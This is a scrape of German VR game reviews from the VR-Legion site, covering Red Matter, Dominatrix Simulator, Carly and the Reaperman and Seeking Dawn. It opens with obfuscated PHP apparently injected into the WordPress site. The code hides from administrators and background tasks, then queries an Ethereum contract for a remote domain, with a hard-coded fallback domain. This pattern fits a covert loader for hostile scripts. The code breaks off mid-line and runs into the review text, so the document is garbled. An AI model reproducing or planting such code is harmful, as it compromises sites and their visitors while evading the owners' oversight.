if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$iMore
'.$h.'
Der Beitrag Moriar spielt: Red Matter (Gast-Review) erschien zuerst auf VR-Legion.
]]>
Red Matter von Vertical Robot ist ein wunderschönes storiebasierendes Sci-Fi-Abenteuer. Der ehemalige Exklusivtitel für die Oculus Rift ist nun endlich auch für alle anderen PC-Brillen verfügbar.
Wir befinden uns in der Rolle des Geheimagenten Epsilon, der zu einer verlassenden sowjetischen Mine/Forschungseinrichtung auf einen fernen Saturn-Mond geschickt wird. Unsere Aufgabe ist es nun an vertrauliche Forschungsinformationen unseres Gegners zu gelangen. Eine Art Kalter Krieg zwischen den beiden Supermächten, der Atlantischen Union und der Volksrepublik Volgravia, bildet den Hintergrund für die wirklich interessante und mysteriöse Geschichte.
Wie erwartet, ist die Mission von Anfang an zum Scheitern verurteilt. Es beginnt schon damit, dass wir unkontrolliert in unserem Landepod auf die Oberfläche stürzen, unsere Ausrüstung zunächst defekt ist und bei Erreichen der Anlage alles nur noch mysteriöser wird…
Red Matter versteht es sehr gut schnell ein Immersionsgefühl aufzubauen, schon die Implementierung der Controller ist genial. Anstelle unser bloßen Hände haben wir zwei Werkzeuge in den Handschuhen, die unserem Controller verblüffend ähnlich sehen. Je nach Bedarf können wir das Aussehen und den Nutzen der Geräte ändern, wie z.B. einen äußerst praktischen Scanner aktivieren, der unter anderem die volgravische Sprache übersetzt und das Ergebnis auf einem klappbarem Screen anzeigt.
Die Bewegungsart ist wiederum hervorragend auf das Spiel abgestimmt. Auf Rhea herrschen natürlich ganz andere Gravitationsverhältnisse, als z.B. auf der Erde, daher hat Agent Epsilon natürlich einen besonderen Raumanzug. Er ermöglicht es uns standardmäßig, mit Hilfe der Triebwerke an unseren Schuhen an einen neuen Ort zu schweben. Wir können dabei die Geschwindigkeit steuern. Alternativ könne wir auch langsam am Boden laufen. Die andere Anziehungskraft zeigt sich beispielsweise wenn wir Gegenstände wegwerfen. Diese fallen deutlich langsamer, als wir es von der Erde gewohnt sind zu Boden. Dieser Effekt vermittelt gut das Gefühl, an einem ganz fremden Ort zu sein.
Wie für ein Adventurespiel üblich, kann unser Agent natürlich mit nahezu allen Gegenständen interagieren. Wir lesen Papiernotizen, sehen uns Fotos an, blättern in Tagebüchern. So lernen wir immer mehr über die Mitarbeiter der nun verlassenden Einrichtung und erfahren so nach und nach die mysteriösen Hintergründe um die unheimliche Rote Substanz.
Die Rätsel die uns in Red Matter begegnen sind vielseitig und werden im Laufe des Spiels natürlich immer kniffliger, das eine oder andere Mal musste ich nach einer Lösung im Netz suchen. Wenn ich diese dann hatte, ist es mir dann wie Schuppen aus den Augen gefallen – wer also etwas besser im Kombinieren und Knobeln ist, wird mit Red Matter keine Probleme haben.
Grafisch ist Red Matter ein kleiner Hingucker. Von der Umgebung über den Spieler bis hin zu den Objekten, mit denen wir interagieren, ist alles von hoher Qualität. In den Einstellungen kann man die Grafik noch etwas optimieren, aber selbst in den niedrigsten Einstellungen, sieht Red Matter noch gut aus. Stellt man alles auf Optimum ist es wunderschön. Die Umgebung, in der wir nach der Landung auf Rhea stehen ist atemberaubend. Wir haben dort einen fantastischen Blick auf den majestätischen Saturn.
Auch das Sounddesign in Red Matter ist sehr gelungen. Wir bekommen sozusagen Feedback von allem, mit dem wir interagieren. Die Musik baut Dramatik in den richtigen Momenten auf, so gelingt es, eine gruselige, verlassene Station auf die bestmögliche Weise zum Leben zu erwecken.
Red Matter ist ein hervorragendes Beispiel dafür, wie eine Geschichte in einem tollen Setting erzählt werden kann mit wenig Aktion aber viel Kopfkratzen. Einzig die Länge wirft einen kleinen Schatten auf dieses hervorragende Adventure. Es ist, wie viele VR-Spiele, leider sehr kurz.
Eine sozialistische Empfehlung, Genossen! Abenteurer können hier bedenkenlos ihre Rubel anlegen.
Mehr volgravische Reviews vom Saturn:
https://store.steampowered.com/curator/32170554/
[amazon_link asins=’B071V7S23D,B0749JN5G7,B073TTMW9M,B07FM4TMNX,B0721WS5L1′ template=’ProductCarousel‘ store=’vr-legion-21′ marketplace=’DE‘ link_id=’b3b8f23c-f829-11e8-8d3e-a7bb57d3133d‘]
Der Beitrag Moriar spielt: Red Matter (Gast-Review) erschien zuerst auf VR-Legion.
]]>Der Beitrag Ziffi und Moriar haben unterschiedliche Meinungen zu Dominatrix Simulator: Threshold erschien zuerst auf VR-Legion.
]]>
Ein BDSM- beziehungsweise Domina-Simulator für die virtuelle Realität? Bevor ihr freudig drauf los installiert sind hier Tests von Ziffi und Moriar.
Während Moriar der Dominatrix nur wenig abgewinnen kann, ist Ziffis Meinung zu dem kostenlos bei Steam erhältlichen Titel immerhin etwas positiver. Wir haben daher beschlossen, beide in diesem Gastbeitrag zu Wort kommen zu lassen, und so ein abgestufteres Gesamtbild entstehen zu lassen.
Beginnen darf Moriar:
Dominatrix Simulator Threshold von Deviant.Tech ist ein Hentai-BDSM-Erlebnis der besonderen Art. Seit es auch auf Steam erlaubt ist, sexuelle Inhalte (in Spielen) zu veröffentlichen, haben sich die Entwickler gedacht, um einen höheren Bekanntheitsgrad zu erlangen ihre virtuelles Meisterwerk auch hier anzubieten.
Vorweg sei gesagt, dass es sich hierbei nur um eine Art Demo handelt. Niemand weiß wie viele Änderungen noch in das Spiel eingebaut werden. Die Entwickler verraten aber schon, dass es im fertigen Spiel mehrere verschiedene Damen geben wird, die dem Spieler auf unterschiedlicher Art und Weise und diverser Praktiken die Lust in die Lenden treiben sollen.
Im Moment steht nur eine Domina bereit, die auf den Spieler wartet und ihn in einer kurzen Unterweisung lehrt, was es heißt unterwürfig zu sein.
Zu Beginn des Dominatrix Simulator befindet sich der Spieler in einem viktorianisch anmutendem Vorraum, in dem zwei Statuen stehen. Eine weiblich und eine männliche, hier wählt man je nach Bedarf, Vorliebe oder sonstwas das Geschlecht des Spielers aus. Durch die Auswahl ändern sich die Äußerungen der Dame nur minimal, der Ablauf des Spiels bleibt ansonsten gleich.
Bevor man jedoch vor der zu erwartenden Domina steht, erklärt uns das Programm noch schnell die einzige Möglichkeit der Interaktion. Nur durch Nicken oder Kopfschütteln kann sich der Spieler mit der Dominatrix verständigen. Leider funktioniert die Erkennung der Kopfbewegung nicht immer treffsicher. Verneinungen werden oft nicht erkannt und als positive Äußerung interpretiert. Das Ja/Nein-Spiel mit dem Gegenüber funktioniert daher leider nur bedingt.
Ähnliche Probleme gibt es mit der Erkennung der vom Spieler geforderten Posen. Kniet sich der Spieler hin, sehr tief, so wie es die Herrin befiehlt, wird die Kopfbewegung wiederum nur schwer erkannt.
Im Schlafraum der dominanten Dame erfolgt die Bewegung über Teleportation an bestimmte Punkte im Raum. Nur auf Befehl der Herrin, natürlich.
Ein wichtiger Punkt aber, den die Entwickler explizit erwähnen, ist es das Spiel nackt zu spielen, denn nur so kann man wirklich in die fantasievolle Welt der virtuellen BDSM-Erfahrung eintauchen. Und ich kann euch sagen, die Dame guckt einen nicht mal dann an, sondern blickt nur starr in die Leere.
Zumindest in der getesteten Demo ist die vergötterte Herrin offenbar eine preisgekrönte Bauchrednerin und Benutzerin des härtesten Haarlacks der Welt. Obwohl sie vom Spieler alle möglichen Verrenkungen erwarten wird, kann sie selbst nur ein paar wenige Stellungen bieten. Steif wie ein Brett steht sie breitbeinig in enger Korsage mit bebenden Brüsten im Raum und befiehlt den Spieler mit einer immerhin recht angenehmen Stimme.
Trotz allem ist Dominatrix-Simulator für mich eher ein Flop. Am meisten störte mich die fehlende Animation der Domina selbst. Für eine BDSM-Erfahrung war die Dame auch schon fast jugendfrei gekleidet und hätte ohne viel Aufsehens auf eine Cosplayparty gehen können. Das die Kommunikation zwischen der Attraktion und dem Spieler auch noch nicht so richtig klappt, lässt dann letztendlich auch keinen Spaß oder anderes aufkommen.
Sex sells nicht immer, zumal es hier für umsonst ist …
Mehr BDSM-Reviews hier:
https://store.steampowered.com/curator/32170554/
In dieser kurzen Erfahrung befolgen wir die Anweisungen unserer Herrin (getestet mit der HTC Vive).
Nachdem wir unser Geschlecht ausgewählt haben sehen wir zum ersten Mal die Herrin des Hauses. Da wir unangemeldet in eine ihrer Sessions reinplatzen ist sie erstmal nicht amüsiert und wir müssen beweisen, dass wir es wert sind ihr unter die Augen zu treten.
Anfangs stellt sie uns ein paar Fragen, die wir mit Nicken oder Kopf schütteln beantworten, danach nehmen wir noch ein paar Posen ein und „dürfen“ ihr am Ende noch die Füße küssen.
Die Grafik ist nicht berauschend, beim Sprechen bewegt sich der Mund nicht, die Herrin schaut uns auch nicht wirklich an, sondern schaut nur stur auf vorgegebene Punkte. Posen einnehmen ist da schon besser gelöst und funktioniert anstandslos, auch die Vertonung ist ganz gut gelungen.
Insgesamt dauert die „Erfahrung“ keine 10 Minuten, weitere Damen sind wohl in Zukunft vorgesehen. Da es flüssig läuft und gratis ist, kann man sich nicht beschweren, von daher gebe ich mal einen Daumen rauf.
Ziffi´s Spieletipps als Kurator: https://store.steampowered.com/curator/5837414/
Der Beitrag Ziffi und Moriar haben unterschiedliche Meinungen zu Dominatrix Simulator: Threshold erschien zuerst auf VR-Legion.
]]>Der Beitrag Moriar spielt: Carly and the Reaperman – ausführlicher Test erschien zuerst auf VR-Legion.
]]>
Carly and the Reaperman von Odd Raven Studios ist ein wirklich hervorragender VR Koop-Plattformer. Lest hier den Gast-Test von Steam-Kurator Moriar.
Das Spiel kommt in seinem Detailreichtum zwar nicht an AAA-Produktionen, wie Moss heran, es ist auch nicht so schnell und schwer wie z.b. Tinteria. Das ist aber nicht weiter schlimm, denn dadurch, dass es ein Koop-Spiel ist, bietet es, ähnlich wie Eye in the Sky ganz eigene und kreative Interaktionsmöglichkeiten mit dem Spiel und natürlich auch unter den beiden Spielern.
Grafisch kommt es nicht an Moss heran, aber die Hauptwelt ist schon sehr detailreich gestaltet und man schaut sich gerne überall um. Die kleine Welt und ihre Charaktere erinnern ein klein bisschen an Tim Burtons Beetlejuice und ähnliche Figuren. Also eher düster aber mit einem ordentlichen Schuss Humor und Niedlichkeit. Die Level selbst sehen mit ihren Hindernis-Elementen allerdings immer ähnlich aus. Sie sind aber immer anders zu meistern. Die wirklich gute Musik hilft, dieses kleine Manko geschickt zu überspielen; so wie überhaupt das einzigartige Gameplay eine tolle Spielatmosphäre schafft.
In gewisser Weise ist Carly and the Reaperman schon mit Moss vergleichbar. In beiden übernimmt der VR-Spieler die Rolle einer omnipräsenten Figur , die einem eher kleinen Charakter auf seinem Abenteuer helfen will. Ein großer Unterschied zwischen den beiden ist, dass bei Carly and the Reaperman der zweite Charakter von einer anderen Person kontrolliert wird, ganz wie bei Eye in the Sky.
Aber zum Glück braucht man auch hier keinen zweiten PC, da sowohl VR als auch PC-Player auf dem gleichen Computer zusammen spielen können. Die Verwendung dieses zweiten Bildschirms als aktiver Bildschirm und nicht nur als passiver Publikumsbildschirm ist wunderbar umgesetzt. Es sollte viel mehr Spiele dieser Art geben. Es ist fast so wie früher, als man zusammen sitzend vor dem Bildschirm diverse Splitscreen oder Koopspiele durchgezockt hat.
Trotzdem kann man, wenn man keinen zweiten Spieler findet, das Spiel auch im Singleplayer oder sogar im Mulitplayer spielen.
Wie bei Platformern üblich, beginnen sie in der Regel mit einem einfachen Einführungslevel, damit wir uns an die Mechanik des Spieles gewöhnen können, um von dann an immer schwieriger zu werden. Carly and the Reaperman ist hier keine Ausnahme. Der Schwierigkeitsgrad bleibt aber immer fair und mit etwas Überlegung sind die Rätsel und Hindernisse schnell gemeistert. Dadurch, dass die beiden Charaktere unterschiedliche Aufgaben erfüllen können, ergeben sich immer wieder interaktive, kooperative Situationen. Glücklicherweise setzt das Spiel die Spieler (bis auf wenige Ausnahmen) nicht unter ZeitdruckSo haben wir Zeit, um zusammen einen Lösungsweg zu finden.
Kommunizieren können die Spieler, da sie im Normalfall im selben Raum spielen, einfach so, analog sozusagen. Carly hat aber auch die Möglichkeit im Spiel mit dem Reaperman zu interagieren. Dafür stehen ihr vier verschiedene Aktionen zur Verfügung. Aktiviert der Carlyspieler eine dieser Möglichkeiten, werden kleine Comicbilder über dem Kopf der Figur angezeigt. Es gibt Böse, Lachen, Schnarchen. Und natürlich kann Carly dem Reaperman zuwinken und zusätzlich kann sie noch mit einem Laserpointer auf Dinge hinweisen. Der Reaperman benutzt einfach seine Hände (VR-Controller), um verschiedene Gegenstände zu bewegen oder umzubauen. Oder einfach zurück zuwinken. Toll ist auch, daß der Unterkiefer des Reaperman sich mitbewegt, wenn der VR-Spieler spricht – sofern das Mikrofon eingeschaltet ist.
Trotz dieser vielen Möglichkeiten zwischen den beiden Spielern ist es etwas schade, dass die kleine Carly keine „Pausenanimationen“ hat und lediglich mit den Augen klappert, wenn sie länger rumsteht. Da zappelt Quill bei Moss schon mehr rum, Carly sieht dagegen eher apathisch aus.
Allerdings kann Carly, den großen Knochenmann neu einkleiden…
Während sich der VR-Spieler frei bewegen und mithilfe der Menuetaste das Spielfeld drehen und verschieben kann um sich somit überall einen Überblick zu verschaffen, muss der PC-Spieler in gewohnter Plattformermanier die Welt erkunden. Allerdings hat er die Möglichkeit einen Blick in den Kopf des Reaperman zu nehmen und kann dann durch die Augen des Skelettmannes sehen.
Sonst hat er eine Third-Person-Ansicht auf Carly und muss sie so in den verschiedenen Leveln im Spiel steuern, um diese leuchtenden Geister-Token, in denen die Erinnerungen schlummern, zu sammeln, während sie versucht Hindernisse zu überwinden und den Ausgang zu finden. Der VR-Spieler, der den Reaperman steuert, ist somit eher eine Helfer in der Not. Jedoch mit den Möglichkeiten, den Weg frei zu räumen oder einen neuen Weg zu schaffen um Carly ans Ziel zu bringen. Ohne ihren großen Helfer und Baumeister würde Carly es nicht schaffen – der Reaperman ist also viel mehr, als nur ein Helfer. Denn es gibt Teile und Hindernisse in den Leveln, die nur der VR-Spieler sehen kann. So muss der Reaperman immer wieder die kleine Carly leiten, damit sie sicher über die Plattformen gelangt. Auch kann der VR-Spieler mehr von der Plattform auf einmal einsehen und sie sogar bewegen oder um sie herumgehen, um jeden Winkel und jede Ritze zu sehen.
Carly and the Reaperman bieten ein ausgefeiltes Koop-Erlebnis für PC- und VR-Spieler. Jeder kann das Spiel auf eine einzigartige Weise erleben, was die Wiederspielbarkeit erhöht.
Carly and the Reaperman ist ein sehr gutes Beispiel dafür, wie ein VR-PC-Koop-Spiel funktioiert, um jeden Spieler auf unterschiedliche Weise zu beschäftigen aber dennoch gemeinsam auf das gleiche Ziel hin arbeiten zu lassen.
Moriar urteilt: Eine absolute Empfehlung!
Mehr kooperative Reviews:
https://store.steampowered.com/curator/32170554/
Der Beitrag Moriar spielt: Carly and the Reaperman – ausführlicher Test erschien zuerst auf VR-Legion.
]]>Der Beitrag Moriar spielt: Seeking Dawn – Test des Survival-Abenteuers erschien zuerst auf VR-Legion.
]]>
VR-Spiele entwickeln sich immer mehr zu grafisch aufwändigen Abenteuern wie sie bisher nur vom Monitor bekannt waren. Seeking Dawn ist ein gutes Beispiel für AAA-Präsentationen.
Die VR-Legion bietet euch in Zukunft noch mehr Reviews zu brandneuen aber auch mitunter nicht ganz so aktuellen Spielen – dafür kooperieren wir mit den Steam-Kuratoren Ziffi und Moriar.
Immer wenn ihr die Überschrift „Ziffi zockt:“ oder „Moriar spiel:“ lest, handelt es sich um einen solchen Gastbeitrag, der von unseren internen Autoren noch etwas überarbeitet wurde um besser auf eine Webseite wie die VR-Legion statt zu Steam zu passen.
Seeking Dawn von Multiverse ist ein Survivalabenteuer auf einem fremden, gefährlichen Alienplaneten auf dem jedes Lebewesen potentiell tödlich zu sein scheint. Sogar Teile der Flora haben es auf den entweder einsamen oder im Koop spielenden Protagonisten abgesehen, der auf der Suche nach seiner Truppe eine alte Basis renoviert, um dort nützliche Dinge herzustellen. Natürlich um am Ende das eigene Überleben auf der Suche und im Kampf gegen die Alienfauna und mitunter -flora zu sichern.
Das Spiel sieht fantastisch aus, überall kreucht und fleucht es, in der Luft schwirren armdicke Libellenaliens, weiter oben sieht man fliegende Quallen und noch viel mehr exotisches Gewusel gibt es überall zu entdecken. Die Pflanzen und Bäume scheinen genauso agil wie die Tierwelt. Bäume bewegen sich rhythmisch auf und ab. Überall ist Bewegung.
Wir betrachten diese wunderbar tödliche Pracht selbstverständlich durch unseren Helm, der dank seines HUD alle nötigen Informationen über unseren körperlichen Zustand bereit hält.
Um die nötigen Ressourcen zu sammeln stehen uns (zunächst?) zwei Abbaugeräte zu Verfügung. Eines für Gestein und das andere baut Pflanzen ab. Über die Geräte und alle anderen Gegenstände, die wir mitführen, haben wir über ein interaktives Inventar Zugriff. Die Bedienung ist etwas eigen aber schnell erlernt. Die wichtigsten Items können wir auf ein Schnellwahlinventar legen.
In unserer im Verlauf des Ingame Tutorials entdeckten Basis bauen wir dann verschiedene Apparate, um die gesammelten Ressourcen zu verarbeiten. Nahrung, Gerätschaften, Waffen usw. Das ist auch dringend nötig, denn der Planet ist tatsächlich mehr als tödlich. Erwähnten wir bereits die wehrhafte Umgebung?
Sollten wir unglücklicherweise einmal einen nicht zu vermeidenden Kampf mit der Tierwelt des Planeten verlieren, erscheinen wir stehts in unser Basis und behalten – glücklicherweise – alle gesammelten Ressourcen. So können wir uns für den nächsten Ausflug in die tödliche Höhlenwelt hoffentlich besser rüsten.
Hält man sich nicht an die Geschichte, kann man sich ganz schön verrennen und trifft auf Gegner, denen man nicht so recht gewachsen ist.
Das zum Spiel, das wirklich sehr viel Spaß macht. Allerdings hat es auch seine Schattenseiten.
Mir ist vor allem der Sound aufgefallen. Teilweise fehlt dieser. Fußtritte sind mal zu hören mal nicht. Der Sound braucht unbedingt ein paar Fixes. Auch sind die Texte der NPC nicht lippensynchron. Das ist auch nicht sehr immersiv, die englischen Stimmen sind aber ganz gut, hören sich nur mitunter etwas abgelesen an.
Auch ist die wirklich schöne Musik teilweise unpassend, wenn beispielsweise in total ruhigen Situationen plötzlich eine Spannung aufbauende Musik startet. Zu Immersionszwecken kann man die Musik natürlich ausschalten.
Die Gegner ploppen teilweise aus dem Nichts auf, das stört die Immersion.
Wenn man sich an die nett erzählte Handlung hält, hat man den Eindruck, dass die Triggerpunkte nicht stimmen und die Geschichte zum Beispiel viel zu früh anfängt. Da bekommen wir Funksprüche, die nicht zur Situation passen. Das stört die Immersion gewaltig.
Im Menü lässt sich nicht nur die Grafikqualität einstellen, dort finden sich auch zahlreiche weitere Optionen. Allerdings rate ich dazu auf der Vive im SteamVR-Menü das Supersampling hochzuschrauben. Das Menü lässt sonst keine Wünsche übrig, man kann so gut wie alles nach Bedarf einstellen.
Seeking Dawn eignet sich für alle, die Spaß am Survival auf Todesplaneten haben! Zumindest wenn euch der vergleichsweise hohe Preis für ein VR-Spiel mit kleinen Kinderkrankheiten nicht abschreckt angesichts der beschriebenen auf die Immersion greifenden Bugs. Da kann man nur warten, dass die Entwickler auch wirklich alles daran setzen, Seeking Dawn zum besten Survivalgame in VR zu machen und mit der Zeit ordentlich Patches verteilen.
Trotz allem eine Empfehlung.
Mehr Steamreviews von Moriar:
https://store.steampowered.com/curator/32170554/
Der Beitrag Moriar spielt: Seeking Dawn – Test des Survival-Abenteuers erschien zuerst auf VR-Legion.
]]>